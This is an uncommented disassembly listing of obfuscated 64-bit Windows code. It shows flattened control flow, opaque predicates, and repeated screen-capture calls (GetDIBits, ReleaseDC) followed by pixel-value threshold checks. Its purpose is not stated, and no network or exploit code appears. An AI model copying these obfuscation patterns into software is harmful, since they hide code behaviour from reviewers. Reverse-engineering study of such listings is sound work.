jne 0x140510070
mov ebx, dword [rbp + 0x1f4]
jmp 0x140510070
cmp esi, 0x8d845308
je 0x140511234
mov ebx, esi
cmp esi, 0x901b12e1
jne 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp esi, 0x15767053
je 0x14051123e
mov ebx, esi
cmp esi, 0x157c9d26
jne 0x140510070
mov esi, dword [rbp + 0x350]
mov ebx, 0x31a09e96
jmp 0x140510070
mov ebx, dword [rbp + 0x2c4]
cmp esi, 0xd5b57954
je 0x140510070
mov ebx, esi
cmp esi, 0xdaf8f24e
jne 0x140510070
movzx ebx, byte [rbp + 0x2f4]
mov ebx, 0xd033cd7a
jmp 0x140510070
cmp esi, 0x57b3b530
je 0x140511248
mov ebx, esi
cmp esi, 0x5a11b6dc
jne 0x140510070
mov ebx, dword [rbp + 0x1e4]
jmp 0x140510070
cmp esi, 0xb4b17505
je 0x140511252
mov ebx, esi
cmp esi, 0xb5fe692d
jne 0x140510070
movzx ebx, byte [rbp + 0x304]
mov ebx, 0xeaeb4fd4
jmp 0x140510070
cmp esi, 0x34249238
je 0x14051125c
mov ebx, esi
cmp esi, 0x354076fb
jne 0x140510070
mov ebx, dword [rbp + 0x210]
jmp 0x140510070
mov ebx, dword [rbp + 0x190]
cmp esi, 0xf3c53d87
je 0x140510070
mov ebx, esi
cmp esi, 0xf5fb2c3f
jne 0x140510070
mov ebx, dword [rbp + 0x1fc]
jmp 0x140510070
cmp esi, 0x789407d4
je 0x140511275
mov ebx, esi
cmp esi, 0x78d88bfd
jne 0x140510070
mov ebx, dword [rbp + 0x228]
jmp 0x140510070
cmp esi, 0x9a36c245
je 0x14051127f
mov ebx, esi
cmp esi, 0x9c02b47a
jne 0x140510070
mov esi, dword [rbp + 0x330]
mov ebx, 0xb0beb3e4
jmp 0x140510070
cmp esi, 0x30c0ef2
je 0x140511297
mov ebx, esi
cmp esi, 0x31f6e81
jne 0x140510070
cmp dword [rbp + 0x1a8], 0x3c
setge byte [rbp + 0x31d]
cmp dl, 0x6e
setae byte [rbp + 0x34e]
mov ebx, dword [rbp + 0x224]
jmp 0x140510070
mov ebx, dword [rbp + 0x2c0]
cmp esi, 0xbd39f16e
je 0x140510070
mov ebx, esi
cmp esi, 0xbd5e8e9d
jne 0x140510070
cmp byte [rbp + 0x278], 0
mov ebx, 0xff0c2dff
mov ecx, 0x8402cefa
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0x418cdd34
je 0x1405112a8
mov ebx, esi
cmp esi, 0x42040c67
jne 0x140510070
cmp byte [rbp + 0x321], 0
mov ebx, 0x901b12e1
mov ecx, 0xb37bdaf0
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0xac78743b
je 0x1405112be
mov ebx, esi
cmp esi, 0xae960d74
jne 0x140510070
cmp byte [rbp + 0x31e], 0
mov ebx, 0x576b74ae
mov ecx, 0x78d88bfd
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0x23a18588
je 0x1405112d1
mov ebx, esi
cmp esi, 0x23d604a4
jne 0x140510070
mov ebx, 0x76851f03
jmp 0x140510070
cmp esi, 0xe83f3e87
je 0x1405112ea
mov ebx, esi
cmp esi, 0xe8a60b10
jne 0x140510070
cmp byte [rbp + 0x300], 0
mov ebx, 0xeaeb4fd4
mov ecx, 0xbdc64e88
cmovne ebx, ecx
jmp 0x140510070
cmp esi, 0x5f31b9d4
je 0x14051130d
mov ebx, esi
cmp esi, 0x680ab117
jne 0x140510070
mov ebx, 0x89b66e65
jmp 0x140510070
mov ebx, r14d
cmp esi, 0x895fd78b
je 0x140510070
mov ebx, esi
cmp esi, 0x89b66e65
jne 0x140510070
mov byte [rbp + 0x325], 1
mov ebx, dword [rbp + 0x244]
jmp 0x140510070
cmp esi, 0x14395eee
je 0x140511325
mov ebx, esi
cmp esi, 0x145d0d1b
jne 0x140510070
movzx ebx, byte [rbp + 0x2d8]
cmp byte [rbp + 0x2b0], 0
mov esi, 0x3ff59037
mov ecx, 0x14395eee
cmovne esi, ecx
test bl, bl
mov ecx, 0x3ff59037
jmp 0x1405113b8
cmp esi, 0xd3059b6f
je 0x14051133c
mov ebx, esi
cmp esi, 0xd38d4b5c
jne 0x140510070
mov esi, dword [rbp + 0x328]
cmp esi, 9
setl byte [rbp + 0x322]
mov ebx, dword [rbp + 0x230]
jmp 0x140510070
cmp esi, 0x51bb9d1f
je 0x14051134e
mov ebx, esi
cmp esi, 0x576b74ae
jne 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp esi, 0xb1c5674e
je 0x140511364
mov ebx, esi
cmp esi, 0xb37bdaf0
jne 0x140510070
cmp al, 0x69
setae byte [rbp + 0x320]
mov ebx, 0xf33880b0
jmp 0x140510070
cmp esi, 0x2f9cfbc1
je 0x14051136e
mov ebx, esi
cmp esi, 0x31a09e96
jne 0x140510070
mov esi, dword [rbp + 0x350]
mov ebx, esi
neg ebx
cmovl ebx, esi
cmp ebx, 0xe
setb byte [rbp + 0x31f]
mov ebx, dword [rbp + 0x22c]
jmp 0x140510070
cmp esi, 0xf301ab8e
je 0x140511381
mov ebx, esi
cmp esi, 0xf33880b0
jne 0x140510070
movzx ebx, byte [rbp + 0x320]
mov ebx, 0x901b12e1
jmp 0x140510070
cmp esi, 0x76851f03
je 0x140511396
mov ebx, esi
cmp esi, 0x77da8017
jne 0x140510070
mov ebx, dword [rbp + 0x24c]
jmp 0x140510070
movzx ecx, byte [rbp + 0x264]
mov byte [rbp + 0x321], cl
mov ebx, 0x42040c67
jmp 0x140510070
mov ebx, 0xb6fd862d
jmp 0x140510070
cmp dl, 0xf1
setae byte [rbp + 0x2d8]
cmp dl, 0xff
setne byte [rbp + 0x2b0]
mov ebx, 0x145d0d1b
jmp 0x140510070
mov esi, dword [rbp + 0x330]
mov ebx, esi
neg ebx
cmovl ebx, esi
cmp ebx, 0xe
setb byte [rbp + 0x280]
mov ebx, dword [rbp + 0x1e8]
jmp 0x140510070
mov ebx, 0xb02114d0
jmp 0x140510070
mov rcx, qword [rbp + 0x1a0]
mov dword [rbp + 0x330], ecx
mov ebx, dword [rbp + 0x1f0]
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp r13b, 0xbe
setae byte [rbp + 0x180]
mov ebx, 0x34249238
jmp 0x140510070
cmp al, 0x64
setae byte [rbp + 0x34d]
mov ebx, 0x30c0ef2
jmp 0x140510070
mov ebx, 0x51bb9d1f
jmp 0x140510070
cmp byte [rbp + 0x2c8], 0
mov ebx, 0xe335676c
mov ecx, 0x709a45bb
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0x354076fb
jmp 0x140510070
mov byte [rbp + 0x2b4], 0
mov ebx, dword [rbp + 0x218]
jmp 0x140510070
cmp byte [rbp + 0x322], 0
mov ebx, 0x901b12e1
mov ecx, 0x9d594588
cmovne ebx, ecx
jmp 0x140510070
cmp byte [rbp + 0x2b4], 0
mov ebx, 0xead08fc7
mov ecx, 0x48c9fc5f
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0xfc0f9c55
jmp 0x140510070
mov ebx, 0x90eefd
jmp 0x140510070
mov ecx, dword [rbp + 0x128]
mov dword [rbp + 0x328], ecx
mov ebx, dword [rbp + 0x234]
jmp 0x140510070
cmp byte [rbp + 0x34f], 0
mov ebx, 0x895fd78b
mov ecx, 0xe9dbd22e
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0xbd39f16e
jmp 0x140510070
cmp byte [rbp + 0x2d0], 0
mov ebx, 0xe7809c3a
mov ecx, 0xa82ebe37
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
mov dword [rbp + 0x340], r8d
mov ebx, 0x751c860e
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp byte [rbp + 0x308], 0
mov ebx, 0xff0c2dff
mov ecx, 0x5a11b6dc
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0xb05c452f
jmp 0x140510070
mov ecx, dword [rbp + 0x1a8]
mov dword [rbp + 0x358], ecx
mov ebx, 0x5d291220
jmp 0x140510070
movzx ebx, byte [rbp + 0x310]
mov ebx, 0xff0c2dff
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp dl, 0x69
mov ebx, 0xe7809c3a
mov ecx, 0x2f9cfbc1
cmovae ebx, ecx
mov esi, dword [rbp + 0x358]
cmp esi, 0x32
mov esi, 0xe7809c3a
cmovl ebx, esi
jmp 0x140510070
movzx ecx, byte [rbp + 0x170]
mov byte [rbp + 0x308], cl
mov ebx, 0x39498194
jmp 0x140510070
mov ebx, 0x2d4b429d
jmp 0x140510070
mov rcx, qword [rbp + 0x1a0]
mov dword [rbp + 0x350], ecx
mov ebx, 0x4a018100
jmp 0x140510070
mov esi, dword [rbp + 0x340]
cmp esi, 0x3c
mov ebx, 0x901b12e1
mov ecx, 0xa4c5bbcd
cmovge ebx, ecx
jmp 0x140510070
movzx ebx, byte [rbp + 0x34c]
cmp byte [rbp + 0x34b], 0
mov esi, 0xead3e304
mov ecx, 0x9a36c245
cmovne esi, ecx
test bl, bl
mov ecx, 0xead3e304
jmp 0x1405113b8
mov ebx, 0xe7ef058
jmp 0x140510070
cmp al, 0x4f
setb byte [rbp + 0x304]
mov ebx, 0xece27445
jmp 0x140510070
mov ebx, 0xdd066470
jmp 0x140510070
mov ebx, 0xb7ee4958
jmp 0x140510070
cmp dl, 0xdd
setae byte [rbp + 0x34c]
cmp dl, 0xff
setne byte [rbp + 0x34b]
mov ebx, 0xa0d53e64
jmp 0x140510070
mov ebx, 0x464e4f07
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
mov ebx, 0x2ad23082
jmp 0x140510070
mov ebx, 0x5d8c7d4f
jmp 0x140510070
mov ebx, 0x418cdd34
jmp 0x140510070
cmp byte [rbp + 0x180], 0
mov ebx, 0xa61e6778
mov ecx, 0xf3c53d87
cmovne ebx, ecx
jmp 0x140510070
mov ebx, 0x9ef63166
jmp 0x140510070
cmp dword [rbp + 0x1dc], 0x1d
setb byte [rbp + 0x2b8]
mov ebx, 0xe83f3e87
jmp 0x140510070
movzx ebx, byte [rbp + 0x34d]
mov ebx, 0x576b74ae
jmp 0x140510070
cmp r8d, 0x5a
setge byte [rbp + 0x2d0]
mov ebx, dword [rbp + 0x200]
jmp 0x140510070
cmp al, 0x5a
setb byte [rbp + 0x2f4]
mov ebx, 0xdaf8f24e
jmp 0x140510070
cmp byte [rbp + 0x324], 0
mov ebx, 0xad1060d
mov ecx, 0xfe617dad
cmovne ebx, ecx
jmp 0x140510070
cmp al, 0x3d
mov ebx, 0xd033cd7a
mov ecx, 0xac78743b
cmovae ebx, ecx
cmp byte [rbp + 0x2b8], 0
mov ecx, 0xd033cd7a
cmove ebx, ecx
jmp 0x140510070
cmp dword [rbp + 0x158], 9
setb byte [rbp + 0x268]
mov ebx, 0x86220d5d
jmp 0x140510070
movzx ecx, byte [rbp + 0x160]
mov byte [rbp + 0x300], cl
mov ebx, 0xe8a60b10
jmp 0x140510070
mov byte [rbp + 0x34f], 0
mov ebx, dword [rbp + 0x21c]
jmp 0x140510070
cmp r13b, 0x78
setae byte [rbp + 0x288]
mov ebx, dword [rbp + 0x208]
jmp 0x140510070
mov ebx, 0x9ef1d789
jmp 0x140510070
cmp al, 0x69
setae byte [rbp + 0x2e8]
mov ebx, 0xf5fb2c3f
jmp 0x140510070
cmp r13b, 0xbe
setae byte [rbp + 0x324]
mov ebx, 0xe7d3c6de
jmp 0x140510070
movzx ebx, byte [rbp + 0x31d]
cmp byte [rbp + 0x34e], 0
mov esi, 0x576b74ae
mov ecx, 0x70a3a0c7
cmovne esi, ecx
test bl, bl
mov ecx, 0x576b74ae
cmove esi, ecx
mov ebx, esi
jmp 0x140510070
movss dword [rbp + 0x330], xmm0
cvttss2si eax, dword [rbp + 0x330]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf8]
or eax, dword [rbp + 0xf4]
setne byte [rbp + 0x1c1]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x79377fd2
mov ecx, 0xec4bb72b
jmp 0x140501b10
test r8b, 1
mov eax, 0xfa85e187
mov ecx, 0xe841865b
cmovne eax, ecx
lea r11, [rbp + 0x338]
jmp 0x140501b1d
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x358], rdx
lea rax, [0x140b84fc8]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rbx, qword [rbp + 0x330]
mov rbx, qword [rbx]
mov qword [rax], rbx
sub rsp, 0x20
lea r8, [rbp + 0x350]
call fcn.14062f3c0
add rsp, 0x20
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
mov ecx, 0xd1ea3326
nop dword [rax]
cmp ecx, 0xd1ea3326
je 0x140511495
cmp ecx, 0x84985c3
jne 0x140511480
jmp 0x1405118ea
mov ecx, 0x84985c3
jmp 0x140511480
mov rax, qword [rbp + 0x330]
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
xor eax, eax
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
xor r8d, r8d
call rbx
add rsp, 0x40
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
mov rdx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteDC]
add rsp, 0x20
mov rdx, qword [rbp + 0x310]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0x20
mov rcx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov rsp, r14
mov dword [rbp + 0xcc], 0
mov eax, 0x67e5e1c1
lea r11, [rbp + 0x338]
jmp 0x140501b1d
and r8b, 1
mov byte [rbp + 0x1ba], r8b
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb21f7291
mov ecx, 0x11474d4b
cmove eax, ecx
cmp dword [0x140b86d34], 0xa
cmovl eax, ecx
lea r11, [rbp + 0x338]
jmp 0x140501b1d
mov rax, qword [rbp + 0x330]
mov rsi, qword [rbp + 0x308]
lea rax, [0x140b85050]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b7e0e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e0e4], 0xa
setl cl
or cl, al
mov eax, 0x19a0c41a
mov ecx, 0xf52b66fe
cmovne eax, ecx
mov ecx, 0x19a0c41a
mov edx, 0x45904bea
cmovne ecx, edx
mov edx, 0x9dd9ef1c
nop dword [rax]
cmp edx, 0x19a0c419
jle 0x140511670
cmp edx, 0x19a0c41a
je 0x140511687
cmp edx, 0x2ced6300
je 0x1405119cc
cmp edx, 0x45904bea
jne 0x140511630
mov rdx, qword [rbp + 0x358]
mov rdx, qword [rdx]
mov qword [rbp + 0x330], rdx
mov edx, eax
jmp 0x140511630
cmp edx, 0x9dd9ef1c
je 0x140511695
cmp edx, 0xf52b66fe
jne 0x140511630
mov edx, 0x2ced6300
jmp 0x140511630
mov rdx, qword [rbp + 0x358]
mov edx, 0x45904bea
jmp 0x140511630
mov edx, ecx
jmp 0x140511630
mov qword [rbp + 0x350], rax
sub rsp, 0x20
lea rsi, [rbp + 0x340]
mov rcx, rsi
call fcn.14062f720
add rsp, 0x20
mov qword [rbp + 0x358], rsi
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3a29716c
jle 0x140511740
cmp edx, 0x3a29716d
je 0x140511757
cmp edx, 0x4ce7c263
je 0x140511ab3
cmp edx, 0x7882f0d3
jne 0x140511710
mov edx, ecx
jmp 0x140511710
cmp edx, 0xfbf4bf7c
je 0x140511765
cmp edx, 0xffc3a595
jne 0x140511710
mov edx, 0x4ce7c263
jmp 0x140511710
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511710
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511710
movss dword [rbp + 0x330], xmm0
movss xmm0, dword [rbp + 0x330]
mov eax, 0x9fefa502
jmp 0x140501b1d
lea rdx, [rbp + 0x340]
mov qword [rbp + 0x358], rdx
lea rax, [0x140b84fc8]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rbx, qword [rbp + 0x330]
mov rbx, qword [rbx]
mov qword [rax], rbx
sub rsp, 0x20
lea r8, [rbp + 0x350]
call fcn.14062f3c0
add rsp, 0x20
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x48]
mov ecx, 0xd1ea3326
nop word [rax + rax]
cmp ecx, 0xd1ea3326
je 0x140511805
cmp ecx, 0x84985c3
jne 0x1405117f0
jmp 0x140511b8c
mov ecx, 0x84985c3
jmp 0x1405117f0
mov rax, qword [rbp + 0x330]
mov rsi, qword [rbp + 0x308]
lea rax, [0x140b85068]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b7e0e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e0e4], 0xa
setl cl
or cl, al
mov eax, 0x19a0c41a
mov ecx, 0xf52b66fe
cmovne eax, ecx
mov ecx, 0x19a0c41a
mov edx, 0x45904bea
cmovne ecx, edx
mov edx, 0x9dd9ef1c
nop word cs:[rax + rax]
nop
cmp edx, 0x19a0c419
jle 0x1405118b0
cmp edx, 0x19a0c41a
je 0x1405118c7
cmp edx, 0x2ced6300
je 0x140511c6c
cmp edx, 0x45904bea
jne 0x140511870
mov rdx, qword [rbp + 0x358]
mov rdx, qword [rdx]
mov qword [rbp + 0x330], rdx
mov edx, eax
jmp 0x140511870
cmp edx, 0x9dd9ef1c
je 0x1405118d5
cmp edx, 0xf52b66fe
jne 0x140511870
mov edx, 0x2ced6300
jmp 0x140511870
mov rdx, qword [rbp + 0x358]
mov edx, 0x45904bea
jmp 0x140511870
mov edx, ecx
jmp 0x140511870
mov eax, 0xc5c30ce6
lea r11, [rbp + 0x338]
jmp 0x140501b1d
mov qword [rbp + 0x350], rax
sub rsp, 0x20
lea rsi, [rbp + 0x340]
mov rcx, rsi
call fcn.14062f720
add rsp, 0x20
mov qword [rbp + 0x358], rsi
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3a29716c
jle 0x140511990
cmp edx, 0x3a29716d
je 0x1405119a7
cmp edx, 0x4ce7c263
je 0x140511d53
cmp edx, 0x7882f0d3
jne 0x140511960
mov edx, ecx
jmp 0x140511960
cmp edx, 0xfbf4bf7c
je 0x1405119b5
cmp edx, 0xffc3a595
jne 0x140511960
mov edx, 0x4ce7c263
jmp 0x140511960
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511960
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511960
mov rax, qword [rbp + 0x330]
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
xor r8d, r8d
call rbx
add rsp, 0x40
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
mov rdx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteDC]
add rsp, 0x20
mov rdx, qword [rbp + 0x310]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0x20
mov rcx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov rsp, r14
mov eax, 0x403d9423
lea r11, [rbp + 0x338]
jmp 0x140501b1d
movsd xmm0, qword [rbp + 0x330]
mov rax, qword [rbp + 0x350]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x3a29716c
jle 0x140511b50
cmp edx, 0x3a29716d
je 0x140511b67
cmp edx, 0x4ce7c263
je 0x140511e2c
cmp edx, 0x7882f0d3
jne 0x140511b20
mov edx, ecx
jmp 0x140511b20
cmp edx, 0xfbf4bf7c
je 0x140511b75
cmp edx, 0xffc3a595
jne 0x140511b20
mov edx, 0x4ce7c263
jmp 0x140511b20
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511b20
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511b20
mov qword [rbp + 0x350], rax
sub rsp, 0x20
lea rsi, [rbp + 0x340]
mov rcx, rsi
call fcn.14062f720
add rsp, 0x20
mov qword [rbp + 0x358], rsi
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
nop
cmp edx, 0x3a29716c
jle 0x140511c30
cmp edx, 0x3a29716d
je 0x140511c47
cmp edx, 0x4ce7c263
je 0x140511e47
cmp edx, 0x7882f0d3
jne 0x140511c00
mov edx, ecx
jmp 0x140511c00
cmp edx, 0xfbf4bf7c
je 0x140511c55
cmp edx, 0xffc3a595
jne 0x140511c00
mov edx, 0x4ce7c263
jmp 0x140511c00
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511c00
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511c00
mov rax, qword [rbp + 0x330]
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
xor r8d, r8d
mov rbx, qword [sym.imp.GDI32.dll_GetDIBits]
call rbx
add rsp, 0x40
mov r9d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x340]
sub rsp, 0x40
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
xor r8d, r8d
call rbx
add rsp, 0x40
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
mov rdx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rcx, qword [rbp + 0x328]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteDC]
add rsp, 0x20
mov rdx, qword [rbp + 0x310]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
add rsp, 0x20
mov rcx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov rsp, r14
mov eax, 0x859e96c6
lea r11, [rbp + 0x338]
jmp 0x140501b1d
movsd xmm0, qword [rbp + 0x330]
mov rax, qword [rbp + 0x350]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x3a29716c
jle 0x140511df0
cmp edx, 0x3a29716d
je 0x140511e07
cmp edx, 0x4ce7c263
je 0x140511f1c
cmp edx, 0x7882f0d3
jne 0x140511dc0
mov edx, ecx
jmp 0x140511dc0
cmp edx, 0xfbf4bf7c
je 0x140511e15
cmp edx, 0xffc3a595
jne 0x140511dc0
mov edx, 0x4ce7c263
jmp 0x140511dc0
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511dc0
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511dc0
movsd xmm0, qword [rbp + 0x330]
mov rax, qword [rbp + 0x30]
movsd xmm0, qword [rbp + 0x20]
mov eax, 0xf6e3bba7
jmp 0x140501b1d
movsd xmm0, qword [rbp + 0x330]
mov rax, qword [rbp + 0x350]
movsd qword [rax], xmm0
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b86b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86b84], 0xa
setl cl
or cl, al
mov eax, 0x3a29716d
mov ecx, 0xffc3a595
cmovne eax, ecx
mov ecx, 0x3a29716d
mov edx, 0xfbf4bf7c
cmovne ecx, edx
mov edx, 0x7882f0d3
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3a29716c
jle 0x140511ee0
cmp edx, 0x3a29716d
je 0x140511ef7
cmp edx, 0x4ce7c263
je 0x140511f52
cmp edx, 0x7882f0d3
jne 0x140511eb0
mov edx, ecx
jmp 0x140511eb0
cmp edx, 0xfbf4bf7c
je 0x140511f05
cmp edx, 0xffc3a595
jne 0x140511eb0
mov edx, 0x4ce7c263
jmp 0x140511eb0
mov rdx, qword [rbp + 0x358]
mov edx, 0xfbf4bf7c
jmp 0x140511eb0
mov rdx, qword [rbp + 0x358]
movsd xmm0, qword [rdx]
movsd qword [rbp + 0x330], xmm0
mov edx, eax
jmp 0x140511eb0
movsd xmm0, qword [rbp + 0x330]
mov rax, qword [rbp + 0x30]
ucomisd xmm0, qword [rbp + 0x20]
seta byte [rbp + 0x1c3]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c0a6187
mov ecx, 0x94a26948
jmp 0x140501b10
movsd xmm0, qword [rbp + 0x330]
ucomisd xmm0, qword [rbp + 0x20]
mov eax, 0xd828ed0f
mov ecx, 0xbbd87440
cmova eax, ecx
jmp 0x140501b1d
cmp eax, 0x5953ccf4
jne 0x140501b1d
movaps xmm6, xmmword [rbp + 0x360]
movaps xmm7, xmmword [rbp + 0x370]
movaps xmm8, xmmword [rbp + 0x380]
movaps xmm9, xmmword [rbp + 0x390]
movaps xmm10, xmmword [rbp + 0x3a0]
movaps xmm11, xmmword [rbp + 0x3b0]
movaps xmm12, xmmword [rbp + 0x3c0]
lea rsp, [rbp + 0x3d8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret